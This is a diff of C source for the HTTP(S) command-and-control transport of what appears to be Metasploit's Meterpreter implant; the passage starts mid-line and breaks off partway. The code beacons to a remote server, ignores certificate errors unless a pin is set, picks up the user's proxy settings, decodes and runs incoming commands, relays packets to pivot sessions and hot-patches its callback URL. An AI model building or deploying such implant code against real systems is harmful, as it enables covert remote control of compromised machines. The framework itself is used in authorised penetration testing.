(DWORD)(wcslen(ctx->proxy_user)))); - { - dprintf("[%s] Failed to set username %u", direction, GetLastError()); - } - } - if (ctx->proxy_pass) - { - dprintf("[%s] Setting proxy password to %S", direction, ctx->proxy_pass); - if (!WinHttpSetOption(hReq, WINHTTP_OPTION_PROXY_PASSWORD, ctx->proxy_pass, (DWORD)(wcslen(ctx->proxy_pass)))); - { - dprintf("[%s] Failed to set password %u", direction, GetLastError()); - } - } - } - - if (ctx->ssl) - { - flags = SECURITY_FLAG_IGNORE_UNKNOWN_CA - | SECURITY_FLAG_IGNORE_CERT_DATE_INVALID - | SECURITY_FLAG_IGNORE_CERT_CN_INVALID - | SECURITY_FLAG_IGNORE_CERT_WRONG_USAGE; - if (!WinHttpSetOption(hReq, WINHTTP_OPTION_SECURITY_FLAGS, &flags, sizeof(flags))) - { - dprintf("[%s] failed to set the security flags on the request", direction); - } - } - - return hReq; -} - -/* - * @brief Wrapper around WinHTTP-specific request handle closing functionality. - * @param hReq HTTP request handle. - * @return An indication of the result of sending the request. - */ -static BOOL close_request_winhttp(HANDLE hReq) -{ - return WinHttpCloseHandle(hReq); -} - -/*! - * @brief Wrapper around WinHTTP-specific response data reading functionality. - * @param hReq HTTP request handle. - * @param buffer Pointer to the data buffer. - * @param bytesToRead The number of bytes to read. - * @param bytesRead The number of bytes actually read. - * @return An indication of the result of sending the request. - */ -static BOOL read_response_winhttp(HANDLE hReq, LPVOID buffer, DWORD bytesToRead, LPDWORD bytesRead) -{ - return WinHttpReadData(hReq, buffer, bytesToRead, bytesRead); -} - - -/*! - * @brief Wrapper around WinHTTP-specific sending functionality. - * @param ctx Pointer to the current HTTP transport context. - * @param hReq HTTP request handle. - * @param buffer Pointer to the buffer to receive the data. - * @param size Buffer size. - * @return An indication of the result of sending the request. - */ -static BOOL send_request_winhttp(HttpTransportContext* ctx, HANDLE hReq, LPVOID buffer, DWORD size) -{ - if (ctx->custom_headers) - { - dprintf("[WINHTTP] Sending with custom headers: %S", ctx->custom_headers); - return WinHttpSendRequest(hReq, ctx->custom_headers, -1L, buffer, size, size, 0); - } - - return WinHttpSendRequest(hReq, NULL, 0, buffer, size, size, 0); -} - -/*! - * @brief Wrapper around WinHTTP-specific receiving functionality. - * @param hReq HTTP request handle. - * @return An indication of the result of receiving the request. - */ -static BOOL receive_response_winhttp(HANDLE hReq) -{ - return WinHttpReceiveResponse(hReq, NULL); -} - -/*! - * @brief Wrapper around WinHTTP-specific request response validation. - * @param hReq HTTP request handle. - * @param ctx The HTTP transport context. - * @return An indication of the result of getting a response. - */ -static DWORD validate_response_winhttp(HANDLE hReq, HttpTransportContext* ctx) -{ - DWORD statusCode; - DWORD statusCodeSize = sizeof(statusCode); - vdprintf("[PACKET RECEIVE WINHTTP] Getting the result code..."); - if (WinHttpQueryHeaders(hReq, WINHTTP_QUERY_STATUS_CODE | WINHTTP_QUERY_FLAG_NUMBER, WINHTTP_HEADER_NAME_BY_INDEX, &statusCode, &statusCodeSize, WINHTTP_NO_HEADER_INDEX)) - { - vdprintf("[PACKET RECEIVE WINHTTP] Returned status code is %d", statusCode); - - // did the request succeed? - if (statusCode != 200) - { - // There are a few reasons why this could fail, including proxy related stuff. - // If we fail, we're going to fallback to WinINET and see if that works instead. - // there could be a number of reasons for failure, but we're only going to try - // to handle the case where proxy authentication fails. We'll indicate failure and - // let the switchover happen for us. - - // However, we won't do this in the case where cert hash verification is turned on, - // because we don't want to expose people to MITM if they've explicitly asked us not - // to. - if (ctx->cert_hash == NULL && statusCode == 407) - { - return ERROR_WINHTTP_CANNOT_CONNECT; - } - - // indicate something is up. - return ERROR_BAD_CONFIGURATION; - } - } - - if (ctx->cert_hash != NULL) - { - vdprintf("[PACKET RECEIVE WINHTTP] validating certificate hash"); - PCERT_CONTEXT pCertContext = NULL; - DWORD dwCertContextSize = sizeof(pCertContext); - - if (!WinHttpQueryOption(hReq, WINHTTP_OPTION_SERVER_CERT_CONTEXT, &pCertContext, &dwCertContextSize)) - { - dprintf("[PACKET RECEIVE WINHTTP] Failed to get the certificate context: %u", GetLastError()); - return ERROR_WINHTTP_SECURE_INVALID_CERT; - } - - DWORD dwHashSize = 20; - BYTE hash[20]; - if (!CertGetCertificateContextProperty(pCertContext, CERT_SHA1_HASH_PROP_ID, hash, &dwHashSize)) - { - dprintf("[PACKET RECEIVE WINHTTP] Failed to get the certificate hash: %u", GetLastError()); - return ERROR_WINHTTP_SECURE_INVALID_CERT; - } - - if (memcmp(hash, ctx->cert_hash, CERT_HASH_SIZE) != 0) - { - dprintf("[SERVER] Server hash set to: %02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x", - hash[0], hash[1], hash[2], hash[3], hash[4], hash[5], hash[6], hash[7], hash[8], hash[9], hash[10], - hash[11], hash[12], hash[13], hash[14], hash[15], hash[16], hash[17], hash[18], hash[19]); - - dprintf("[PACKET RECEIVE WINHTTP] Certificate hash doesn't match, bailing out"); - return ERROR_WINHTTP_SECURE_INVALID_CERT; - } - } - - return ERROR_SUCCESS; -} - -/*! - * @brief Windows-specific function to transmit a packet via HTTP(s) using winhttp _and_ destroy it. - * @param remote Pointer to the \c Remote instance. - * @param packet Pointer to the \c Packet that is to be sent. - * @param completion Pointer to the completion routines to process. - * @return An indication of the result of processing the transmission request. - */ -static DWORD packet_transmit_http(Remote *remote, LPBYTE rawPacket, DWORD rawPacketLength) -{ - DWORD res = 0; - HINTERNET hReq; - BOOL result; - DWORD retries = 5; - HttpTransportContext* ctx = (HttpTransportContext*)remote->transport->ctx; - - lock_acquire(remote->lock); - - do - { - hReq = ctx->create_req(ctx, FALSE, "PACKET TRANSMIT"); - if (hReq == NULL) - { - break; - } - - result = ctx->send_req(ctx, hReq, rawPacket, rawPacketLength); - - if (!result) - { - dprintf("[PACKET TRANSMIT] Failed HttpSendRequest: %d", GetLastError()); - SetLastError(ERROR_NOT_FOUND); - break; - } - - dprintf("[PACKET TRANSMIT] request sent.. apparently"); - } while(0); - - ctx->close_req(hReq); - - lock_release(remote->lock); - - return res; -} - -/*! - * @brief Windows-specific function to receive a new packet via one of the HTTP libs (WinInet or WinHTTP). - * @param remote Pointer to the \c Remote instance. - * @param packet Pointer to a pointer that will receive the \c Packet data. - * @return An indication of the result of processing the transmission request. - */ -static DWORD packet_receive_http(Remote *remote, Packet **packet) -{ - DWORD headerBytes = 0, payloadBytesLeft = 0, res; - Packet *localPacket = NULL; - PacketHeader header; - LONG bytesRead; - BOOL inHeader = TRUE; - PUCHAR packetBuffer = NULL; - ULONG payloadLength; - HttpTransportContext* ctx = (HttpTransportContext*)remote->transport->ctx; - - HINTERNET hReq; - BOOL hRes; - DWORD retries = 5; - - lock_acquire(remote->lock); - - hReq = ctx->create_req(ctx, TRUE, "PACKET RECEIVE"); - if (hReq == NULL) - { - goto out; - } - - vdprintf("[PACKET RECEIVE HTTP] sending GET"); - hRes = ctx->send_req(ctx, hReq, NULL, 0); - - if (!hRes) - { - dprintf("[PACKET RECEIVE HTTP] Failed send_req: %d %d", GetLastError(), WSAGetLastError()); - SetLastError(ERROR_NOT_FOUND); - goto out; - } - - vdprintf("[PACKET RECEIVE HTTP] Waiting to see the response ..."); - if (ctx->receive_response && !ctx->receive_response(hReq)) - { - vdprintf("[PACKET RECEIVE] Failed receive: %d", GetLastError()); - SetLastError(ERROR_NOT_FOUND); - goto out; - } - - SetLastError(ctx->validate_response(hReq, ctx)); - - if (GetLastError() != ERROR_SUCCESS) - { - goto out; - } - - // Read the packet length - retries = 3; - vdprintf("[PACKET RECEIVE HTTP] Start looping through the receive calls"); - while (inHeader && retries > 0) - { - retries--; - if (!ctx->read_response(hReq, (PUCHAR)&header + headerBytes, sizeof(PacketHeader)-headerBytes, &bytesRead)) - { - dprintf("[PACKET RECEIVE HTTP] Failed HEADER read_response: %d", GetLastError()); - SetLastError(ERROR_NOT_FOUND); - goto out; - } - - vdprintf("[PACKET RECEIVE NHTTP] Data received: %u bytes", bytesRead); - - // If the response contains no data, this is fine, it just means the - // remote side had nothing to tell us. Indicate this through a - // ERROR_EMPTY response code so we can update the timestamp. - if (bytesRead == 0) - { - SetLastError(ERROR_EMPTY); - goto out; - } - - headerBytes += bytesRead; - - if (headerBytes != sizeof(PacketHeader)) - { - continue; - } - - inHeader = FALSE; - } - - if (headerBytes != sizeof(PacketHeader)) - { - dprintf("[PACKET RECEIVE HTTP] headerBytes not valid"); - SetLastError(ERROR_NOT_FOUND); - goto out; - } - - dprintf("[PACKET RECEIVE HTTP] decoding header"); - PacketHeader encodedHeader; - memcpy(&encodedHeader, &header, sizeof(PacketHeader)); - xor_bytes(header.xor_key, (PUCHAR)&header + sizeof(header.xor_key), sizeof(PacketHeader) - sizeof(header.xor_key)); - -#ifdef DEBUGTRACE - PUCHAR h = (PUCHAR)&header; - vdprintf("[HTTP] Packet header: [0x%02X 0x%02X 0x%02X 0x%02X] [0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X] [0x%02X 0x%02X 0x%02X 0x%02X] [0x%02X 0x%02X 0x%02X 0x%02X] [0x%02X 0x%02X 0x%02X 0x%02X]", - h[0], h[1], h[2], h[3], h[4], h[5], h[6], h[7], h[8], h[9], h[10], h[11], h[12], h[13], h[14], h[15], h[16], h[17], h[18], h[19], h[20], h[21], h[22], h[23], h[24], h[25], h[26], h[27], h[28], h[29], h[30], h[31]); -#endif - - payloadLength = ntohl(header.length) - sizeof(TlvHeader); - vdprintf("[REC HTTP] Payload length is %d", payloadLength); - DWORD packetSize = sizeof(PacketHeader) + payloadLength; - vdprintf("[REC HTTP] total buffer size for the packet is %d", packetSize); - payloadBytesLeft = payloadLength; - - // Allocate the payload - if (!(packetBuffer = (PUCHAR)malloc(packetSize))) - { - dprintf("[REC HTTP] Failed to create the packet buffer"); - SetLastError(ERROR_NOT_ENOUGH_MEMORY); - goto out; - } - dprintf("[REC HTTP] Allocated packet buffer at %p", packetBuffer); - - // Copy the packet header stuff over to the packet - memcpy_s(packetBuffer, sizeof(PacketHeader), (LPBYTE)&encodedHeader, sizeof(PacketHeader)); - - LPBYTE payload = packetBuffer + sizeof(PacketHeader); - - // Read the payload - retries = payloadBytesLeft; - while (payloadBytesLeft > 0 && retries > 0) - { - vdprintf("[PACKET RECEIVE HTTP] reading more data from the body..."); - retries--; - if (!ctx->read_response(hReq, payload + payloadLength - payloadBytesLeft, payloadBytesLeft, &bytesRead)) - { - dprintf("[PACKET RECEIVE] Failed BODY read_response: %d", GetLastError()); - SetLastError(ERROR_NOT_FOUND); - goto out; - } - - if (!bytesRead) - { - vdprintf("[PACKET RECEIVE HTTP] no bytes read, bailing out"); - SetLastError(ERROR_NOT_FOUND); - goto out; - } - - vdprintf("[PACKET RECEIVE HTTP] bytes read: %u", bytesRead); - payloadBytesLeft -= bytesRead; - } - - // Didn't finish? - if (payloadBytesLeft) - { - goto out; - } - -#ifdef DEBUGTRACE - h = (PUCHAR)&header.session_guid[0]; - dprintf("[HTTP] Packet Session GUID: %02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X", - h[0], h[1], h[2], h[3], h[4], h[5], h[6], h[7], h[8], h[9], h[10], h[11], h[12], h[13], h[14], h[15]); -#endif - - if (is_null_guid(header.session_guid) || memcmp(remote->orig_config->session.session_guid, header.session_guid, sizeof(header.session_guid)) == 0) - { - dprintf("[HTTP] Session GUIDs match (or packet guid is null), decrypting packet"); - SetLastError(decrypt_packet(remote, packet, packetBuffer, packetSize)); - } - else - { - dprintf("[HTTP] Session GUIDs don't match, looking for a pivot"); - PivotContext* pivotCtx = pivot_tree_find(remote->pivot_sessions, header.session_guid); - if (pivotCtx != NULL) - { - dprintf("[HTTP] Pivot found, dispatching packet on a thread (to avoid main thread blocking)"); - SetLastError(pivot_packet_dispatch(pivotCtx, packetBuffer, packetSize)); - - // mark this packet buffer as NULL as the thread will clean it up - packetBuffer = NULL; - *packet = NULL; - } - else - { - dprintf("[HTTP] Session GUIDs don't match, can't find pivot!"); - } - } - -out: - res = GetLastError(); - - dprintf("[HTTP] Cleaning up"); - SAFE_FREE(packetBuffer); - - // Cleanup on failure - if (res != ERROR_SUCCESS) - { - SAFE_FREE(localPacket); - } - - if (hReq) - { - ctx->close_req(hReq); - } - - lock_release(remote->lock); - - dprintf("[HTTP] Packet receive finished"); - - return res; -} - - -/*! - * @brief Initialise the HTTP(S) connection. - * @param transport Pointer to the transport instance. - * @return Indication of success or failure. - */ -static BOOL server_init_winhttp(Transport* transport) -{ - URL_COMPONENTS bits; - wchar_t tmpHostName[URL_SIZE]; - wchar_t tmpUrlPath[URL_SIZE]; - HttpTransportContext* ctx = (HttpTransportContext*)transport->ctx; - - dprintf("[WINHTTP] Initialising ..."); - - // configure proxy - if (ctx->proxy) - { - dprintf("[DISPATCH] Configuring with proxy: %S", ctx->proxy); - ctx->internet = WinHttpOpen(ctx->ua, WINHTTP_ACCESS_TYPE_NAMED_PROXY, ctx->proxy, WINHTTP_NO_PROXY_BYPASS, 0); - } - else - { - ctx->internet = WinHttpOpen(ctx->ua, WINHTTP_ACCESS_TYPE_DEFAULT_PROXY, WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0); - } - - if (!ctx->internet) - { - dprintf("[DISPATCH] Failed WinHttpOpen: %d", GetLastError()); - return FALSE; - } - - dprintf("[DISPATCH] Configured hInternet: 0x%.8x", ctx->internet); - - // The InternetCrackUrl method was poorly designed... - ZeroMemory(tmpHostName, sizeof(tmpHostName)); - ZeroMemory(tmpUrlPath, sizeof(tmpUrlPath)); - - ZeroMemory(&bits, sizeof(bits)); - bits.dwStructSize = sizeof(bits); - - bits.dwHostNameLength = URL_SIZE - 1; - bits.lpszHostName = tmpHostName; - - bits.dwUrlPathLength = URL_SIZE - 1; - bits.lpszUrlPath = tmpUrlPath; - - dprintf("[DISPATCH] About to crack URL: %S", transport->url); - WinHttpCrackUrl(transport->url, 0, 0, &bits); - - SAFE_FREE(ctx->uri); - ctx->uri = _wcsdup(tmpUrlPath); - transport->comms_last_packet = current_unix_timestamp(); - - dprintf("[DISPATCH] Configured URI: %S", ctx->uri); - dprintf("[DISPATCH] Host: %S Port: %u", tmpHostName, bits.nPort); - - // Allocate the connection handle - ctx->connection = WinHttpConnect(ctx->internet, tmpHostName, bits.nPort, 0); - if (!ctx->connection) - { - dprintf("[DISPATCH] Failed WinHttpConnect: %d", GetLastError()); - return FALSE; - } - - dprintf("[DISPATCH] Configured hConnection: 0x%.8x", ctx->connection); - - return TRUE; -} - -/*! - * @brief Deinitialise the HTTP(S) connection. - * @param remote Pointer to the remote instance with the HTTP(S) transport details wired in. - * @return Indication of success or failure. - */ -static DWORD server_deinit_http(Transport* transport) -{ - HttpTransportContext* ctx = (HttpTransportContext*)transport->ctx; - - dprintf("[HTTP] Deinitialising ..."); - - if (ctx->connection) - { - ctx->close_req(ctx->connection); - ctx->connection = NULL; - } - - if (ctx->internet) - { - ctx->close_req(ctx->internet); - ctx->internet = NULL; - } - - // have we had issues that require us to move? - if (ctx->move_to_wininet) - { - // yes, so switch on over. - transport_move_to_wininet(transport); - ctx->move_to_wininet = FALSE; - } - - return TRUE; -} - -/*! - * @brief The servers main dispatch loop for incoming requests using HTTP(S). - * @param remote Pointer to the remote endpoint for this server connection. - * @param dispatchThread Pointer to the main dispatch thread. - * @returns Indication of success or failure. - */ -static DWORD server_dispatch_http(Remote* remote, THREAD* dispatchThread) -{ - BOOL running = TRUE; - LONG result = ERROR_SUCCESS; - Packet* packet = NULL; - THREAD* cpt = NULL; - DWORD ecount = 0; - DWORD delay = 0; - Transport* transport = remote->transport; - HttpTransportContext* ctx = (HttpTransportContext*)transport->ctx; - - while (running) - { - if (transport->timeouts.comms != 0 && transport->comms_last_packet + transport->timeouts.comms < current_unix_timestamp()) - { - dprintf("[DISPATCH] Shutting down server due to communication timeout"); - break; - } - - if (remote->sess_expiry_end != 0 && remote->sess_expiry_end < current_unix_timestamp()) - { - dprintf("[DISPATCH] Shutting down server due to hardcoded expiration time"); - dprintf("Timestamp: %u Expiration: %u", current_unix_timestamp(), remote->sess_expiry_end); - break; - } - - if (event_poll(dispatchThread->sigterm, 0)) - { - dprintf("[DISPATCH] server dispatch thread signaled to terminate..."); - break; - } - - dprintf("[DISPATCH] Reading data from the remote side..."); - result = packet_receive_http(remote, &packet); - - if (result != ERROR_SUCCESS) - { - // Update the timestamp for empty replies - if (result == ERROR_EMPTY) - { - transport->comms_last_packet = current_unix_timestamp(); - } - else if (result == ERROR_WINHTTP_CANNOT_CONNECT) - { - dprintf("[DISPATCH] Failed to work correctly with WinHTTP, moving over to WinINET"); - // next we need to indicate that we need to do a switch to wininet when we terminate - ctx->move_to_wininet = TRUE; - - // and pretend to do a transport switch, to ourselves! - remote->next_transport = remote->transport; - result = ERROR_SUCCESS; - break; - } - else if (result == ERROR_WINHTTP_SECURE_INVALID_CERT) - { - // This means that the certificate validation failed, and so - // we don't trust who we're connecting with, so we need to move - // on to another transport. - // If we're the only transport, then we should wait for the allotted - // time before trying again. Otherwise, we can just switch immediately. - // This avoids spinning the process and making way too many requests - // in a short period of time (ie. avoiding noise). - if (remote->transport == remote->transport->next_transport) - { - remote->next_transport_wait = remote->transport->timeouts.retry_wait; - } - - break; - } - else if (result == ERROR_BAD_CONFIGURATION) - { - // something went wrong with WinINET so break. - break; - } - - delay = 10 * ecount; - if (ecount >= 10) - { - delay *= 10; - } - - ecount++; - - dprintf("[DISPATCH] no pending packets, sleeping for %dms...", min(10000, delay)); - Sleep(min(10000, delay)); - } - else - { - transport->comms_last_packet = current_unix_timestamp(); - - // Reset the empty count when we receive a packet - ecount = 0; - - dprintf("[DISPATCH] Returned result: %d", result); - - if (packet != NULL) - { - running = command_handle(remote, packet); - dprintf("[DISPATCH] command_process result: %s", (running ? "continue" : "stop")); - - if (ctx->new_uri != NULL) - { - dprintf("[DISPATCH] Recieved hot-patched URL for stageless: %S", ctx->new_uri); - dprintf("[DISPATCH] Old URI is: %S", ctx->uri); - dprintf("[DISPATCH] Old URL is: %S", transport->url); - - // if the new URI needs more space, let's realloc space for the new URL now - int diff = (int)wcslen(ctx->new_uri) - (int)wcslen(ctx->uri); - if (diff > 0) - { - dprintf("[DISPATCH] New URI is bigger by %d", diff); - transport->url = (wchar_t*)realloc(transport->url, (wcslen(transport->url) + diff + 1) * sizeof(wchar_t)); - } - - // we also need to patch the new URI into the original transport URL, not just the currently - // active URI for comms. If we don't, then migration behaves badly. - // The URL looks like this: http(s)://:port/lurivalue/UUIDJUNK/ - // Start by locating the start of the URI in the current URL, by finding the third slash, - // as this value includes the LURI - wchar_t* csr = transport->url; - for (int i = 0; i < 3; ++i) - { - // We need to move to the next character first in case - // we are currently pointing at the previously found / - // we know we're safe skipping the first character in the whole - // URL because that'll be part of the scheme (ie. 'h' in http) - ++csr; - - while (*csr != L'\0' && *csr != L'/') - { - ++csr; - } - - dprintf("[DISPATCH] %d csr: %p -> %S", i, csr, csr); - - // this shouldn't happen! - if (*csr == L'\0') - { - break; - } - } - - // the pointer that we have will be - dprintf("[DISPATCH] Pointer is at: %p -> %S", csr, csr); - - // patch in the new URI - wcscpy_s(csr, wcslen(diff > 0 ? ctx->new_uri : ctx->uri) + 1, ctx->new_uri); - dprintf("[DISPATCH] New URL is: %S", transport->url); - - // clean up - SAFE_FREE(ctx->uri); - ctx->uri = ctx->new_uri; - ctx->new_uri = NULL; - } - } - else - { - dprintf("[DISPATCH] Packet was NULL, this indicates that it was a pivot packet"); - } - } - } - - return result; -} - -/*! - * @brief Destroy the HTTP(S) transport. - * @param transport Pointer to the HTTP(S) transport to reset. - */ -static void transport_destroy_http(Transport* transport) -{ - if (transport && (transport->type & METERPRETER_TRANSPORT_HTTP)) - { - HttpTransportContext* ctx = (HttpTransportContext*)transport->ctx; - - dprintf("[TRANS HTTP] Destroying http transport for url %S", transport->url); - - if (ctx) - { - SAFE_FREE(ctx->cert_hash); - SAFE_FREE(ctx->proxy); - SAFE_FREE(ctx->proxy_pass); - SAFE_FREE(ctx->proxy_user); - SAFE_FREE(ctx->ua); - SAFE_FREE(ctx->uri); - SAFE_FREE(ctx->custom_headers); - if (ctx->proxy_for_url) - { - WINHTTP_PROXY_INFO* proxyInfo = (WINHTTP_PROXY_INFO*)ctx->proxy_for_url; - if (proxyInfo->lpszProxy) - { - GlobalFree(proxyInfo->lpszProxy); - } - if (proxyInfo->lpszProxyBypass) - { - GlobalFree(proxyInfo->lpszProxyBypass); - } - } - SAFE_FREE(ctx->proxy_for_url); - } - SAFE_FREE(transport->url); - SAFE_FREE(transport->ctx); - SAFE_FREE(transport); - } -} - -void transport_write_http_config(Transport* transport, MetsrvTransportHttp* config) -{ - HttpTransportContext* ctx = (HttpTransportContext*)transport->ctx; - - dprintf("[HTTP CONF] Writing timeouts"); - config->common.comms_timeout = transport->timeouts.comms; - config->common.retry_total = transport->timeouts.retry_total; - config->common.retry_wait = transport->timeouts.retry_wait; - wcsncpy(config->common.url, transport->url, URL_SIZE); - - if (ctx->ua) - { - dprintf("[HTTP CONF] Writing UA"); - wcsncpy(config->ua, ctx->ua, UA_SIZE); - } - - if (ctx->cert_hash) - { - dprintf("[HTTP CONF] Writing cert hash"); - memcpy(config->ssl_cert_hash, ctx->cert_hash, CERT_HASH_SIZE); - } - - if (ctx->proxy) - { - dprintf("[HTTP CONF] Writing proxy"); - wcsncpy(config->proxy.hostname, ctx->proxy, PROXY_HOST_SIZE); - } - - if (ctx->proxy_user) - { - dprintf("[HTTP CONF] Writing user"); - wcsncpy(config->proxy.username, ctx->proxy_user, PROXY_USER_SIZE); - } - - if (ctx->proxy_pass) - { - dprintf("[HTTP CONF] Writing pass"); - wcsncpy(config->proxy.password, ctx->proxy_pass, PROXY_PASS_SIZE); - } - - - if (ctx->custom_headers) - { - dprintf("[HTTP CONF] Writing custom headers"); - // let's hope they've allocated the right amount of space based on what we told them - // in transport_get_config_size_http - wcscpy(config->custom_headers, ctx->custom_headers); - } - - dprintf("[HTTP CONF] Done."); -} - -/*! - * @brief Gets the size of the memory space required to store the configuration for this transport. - * @param t Pointer to the transport. - * @return Size, in bytes of the required memory block. - */ -static DWORD transport_get_config_size_http(Transport* t) -{ - DWORD size = sizeof(MetsrvTransportHttp); - - // Make sure we account for the custom headers, if there are any, which aren't - // of a predetermined size. - HttpTransportContext* ctx = (HttpTransportContext*)t->ctx; - if (ctx->custom_headers) - { - size += (DWORD)wcslen(ctx->custom_headers) * sizeof(ctx->custom_headers[0]); - } - return size; -} - - -/*! - * @brief Create an HTTP(S) transport from the given settings. - * @param config Pointer to the HTTP configuration block. - * @param size Pointer to the size of the parsed config block. - * @param config Pointer to the HTTP configuration block. - * @return Pointer to the newly configured/created HTTP(S) transport instance. - */ -Transport* transport_create_http(MetsrvTransportHttp* config, LPDWORD size) -{ - Transport* transport = (Transport*)malloc(sizeof(Transport)); - HttpTransportContext* ctx = (HttpTransportContext*)malloc(sizeof(HttpTransportContext)); - - if (size) - { - *size = sizeof(MetsrvTransportHttp); - } - - dprintf("[TRANS HTTP] Creating http transport for url %S", config->common.url); - - memset(transport, 0, sizeof(Transport)); - memset(ctx, 0, sizeof(HttpTransportContext)); - - dprintf("[TRANS HTTP] Given ua: %S", config->ua); - if (config->ua[0]) - { - ctx->ua = _wcsdup(config->ua); - } - dprintf("[TRANS HTTP] Given proxy host: %S", config->proxy.hostname); - if (config->proxy.hostname[0]) - { - ctx->proxy = _wcsdup(config->proxy.hostname); - } - dprintf("[TRANS HTTP] Given proxy user: %S", config->proxy.username); - if (config->proxy.username[0]) - { - ctx->proxy_user = _wcsdup(config->proxy.username); - } - dprintf("[TRANS HTTP] Given proxy pass: %S", config->proxy.password); - if (config->proxy.password[0]) - { - ctx->proxy_pass = _wcsdup(config->proxy.password); - } - ctx->ssl = wcsncmp(config->common.url, L"https", 5) == 0; - - if (config->custom_headers[0]) - { - ctx->custom_headers = _wcsdup(config->custom_headers); - if (size) - { - *size += (DWORD)wcslen(ctx->custom_headers) * sizeof(ctx->custom_headers[0]); - } - } - - dprintf("[SERVER] Received HTTPS Hash: %02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x", - config->ssl_cert_hash[0], config->ssl_cert_hash[1], config->ssl_cert_hash[2], config->ssl_cert_hash[3], - config->ssl_cert_hash[4], config->ssl_cert_hash[5], config->ssl_cert_hash[6], config->ssl_cert_hash[7], - config->ssl_cert_hash[8], config->ssl_cert_hash[9], config->ssl_cert_hash[10], config->ssl_cert_hash[11], - config->ssl_cert_hash[12], config->ssl_cert_hash[13], config->ssl_cert_hash[14], config->ssl_cert_hash[15], - config->ssl_cert_hash[16], config->ssl_cert_hash[17], config->ssl_cert_hash[18], config->ssl_cert_hash[19]); - - // only apply the cert hash if we're given one and it's not the global value - SAFE_FREE(ctx->cert_hash); - unsigned char emptyHash[CERT_HASH_SIZE] = { 0 }; - if (memcmp(config->ssl_cert_hash, emptyHash, CERT_HASH_SIZE)) - { - ctx->cert_hash = (PBYTE)malloc(sizeof(BYTE) * 20); - memcpy(ctx->cert_hash, config->ssl_cert_hash, 20); - } - - ctx->create_req = get_request_winhttp; - ctx->send_req = send_request_winhttp; - ctx->close_req = close_request_winhttp; - ctx->validate_response = validate_response_winhttp; - ctx->receive_response = receive_response_winhttp; - ctx->read_response = read_response_winhttp; - - transport->timeouts.comms = config->common.comms_timeout; - transport->timeouts.retry_total = config->common.retry_total; - transport->timeouts.retry_wait = config->common.retry_wait; - transport->type = ctx->ssl ? METERPRETER_TRANSPORT_HTTPS : METERPRETER_TRANSPORT_HTTP; - ctx->url = transport->url = _wcsdup(config->common.url); - transport->packet_transmit = packet_transmit_http; - transport->server_dispatch = server_dispatch_http; - transport->transport_init = server_init_winhttp; - transport->transport_deinit = server_deinit_http; - transport->transport_destroy = transport_destroy_http; - transport->ctx = ctx; - transport->comms_last_packet = current_unix_timestamp(); - transport->get_config_size = transport_get_config_size_http; - - return transport; -} +/*! + * @file server_transport_http.c + * @remark This file doesn't use precompiled headers because metsrv.h includes a bunch of + * of definitions that clash with those found in winhttp.h. Hooray Win32 API. I hate you. + */ +#include "metsrv.h" +#include "server_transport_wininet.h" +#include +#include "packet_encryption.h" +#include "pivot_packet_dispatch.h" + +/*! + * @brief Prepare a winHTTP request with the given context. + * @param ctx Pointer to the HTTP transport context to prepare the request from. + * @param isGet Indication of whether this request is a GET request, otherwise POST is used. + * @param direction String representing the direction of the communications (for debug). + * @return An Internet request handle. + */ +static HINTERNET get_request_winhttp(HttpTransportContext *ctx, BOOL isGet, const char *direction) +{ + HINTERNET hReq = NULL; + DWORD flags = WINHTTP_FLAG_BYPASS_PROXY_CACHE; + + if (ctx->ssl) + { + flags |= WINHTTP_FLAG_SECURE; + dprintf("[%s] Setting secure flag..", direction); + } + + vdprintf("[%s] opening request on connection %x to %S", direction, ctx->connection, ctx->uri); + hReq = WinHttpOpenRequest(ctx->connection, isGet ? L"GET" : L"POST", ctx->uri, NULL, NULL, NULL, flags); + + if (hReq == NULL) + { + dprintf("[%s] Failed WinHttpOpenRequest: %u", direction, GetLastError()); + SetLastError(ERROR_NOT_FOUND); + return NULL; + } + + // if no proxy is set, we should look to see if we can (and should) use the system + // proxy settings for the given user. + if (!ctx->proxy) + { + if (!ctx->proxy_configured) + { + WINHTTP_CURRENT_USER_IE_PROXY_CONFIG ieConfig = { 0 }; + if (WinHttpGetIEProxyConfigForCurrentUser(&ieConfig)) + { + dprintf("[PROXY] Got IE configuration"); + dprintf("[PROXY] AutoDetect: %s", ieConfig.fAutoDetect ? "yes" : "no"); + dprintf("[PROXY] Auto URL: %S", ieConfig.lpszAutoConfigUrl); + dprintf("[PROXY] Proxy: %S", ieConfig.lpszProxy); + dprintf("[PROXY] Proxy Bypass: %S", ieConfig.lpszProxyBypass); + + if (ieConfig.lpszAutoConfigUrl || ieConfig.fAutoDetect) + { + WINHTTP_AUTOPROXY_OPTIONS autoProxyOpts = { 0 }; + WINHTTP_PROXY_INFO proxyInfo = { 0 }; + + if (ieConfig.fAutoDetect) + { + dprintf("[PROXY] IE config set to autodetect with DNS or DHCP"); + + autoProxyOpts.dwFlags = WINHTTP_AUTOPROXY_AUTO_DETECT; + autoProxyOpts.dwAutoDetectFlags = WINHTTP_AUTO_DETECT_TYPE_DHCP | WINHTTP_AUTO_DETECT_TYPE_DNS_A; + autoProxyOpts.lpszAutoConfigUrl = 0; + } + else if (ieConfig.lpszAutoConfigUrl) + { + dprintf("[PROXY] IE config set to autodetect with URL %S", ieConfig.lpszAutoConfigUrl); + + autoProxyOpts.dwFlags = WINHTTP_AUTOPROXY_CONFIG_URL; + autoProxyOpts.dwAutoDetectFlags = 0; + autoProxyOpts.lpszAutoConfigUrl = ieConfig.lpszAutoConfigUrl; + } + autoProxyOpts.fAutoLogonIfChallenged = TRUE; + + if (WinHttpGetProxyForUrl(ctx->internet, ctx->url, &autoProxyOpts, &proxyInfo)) + { + ctx->proxy_for_url = malloc(sizeof(WINHTTP_PROXY_INFO)); + memcpy(ctx->proxy_for_url, &proxyInfo, sizeof(WINHTTP_PROXY_INFO)); + } + } + else if (ieConfig.lpszProxy) + { + WINHTTP_PROXY_INFO* proxyInfo = (WINHTTP_PROXY_INFO*)calloc(1, sizeof(WINHTTP_PROXY_INFO)); + ctx->proxy_for_url = proxyInfo; + + dprintf("[PROXY] IE config set to proxy %S with bypass %S", ieConfig.lpszProxy, ieConfig.lpszProxyBypass); + + 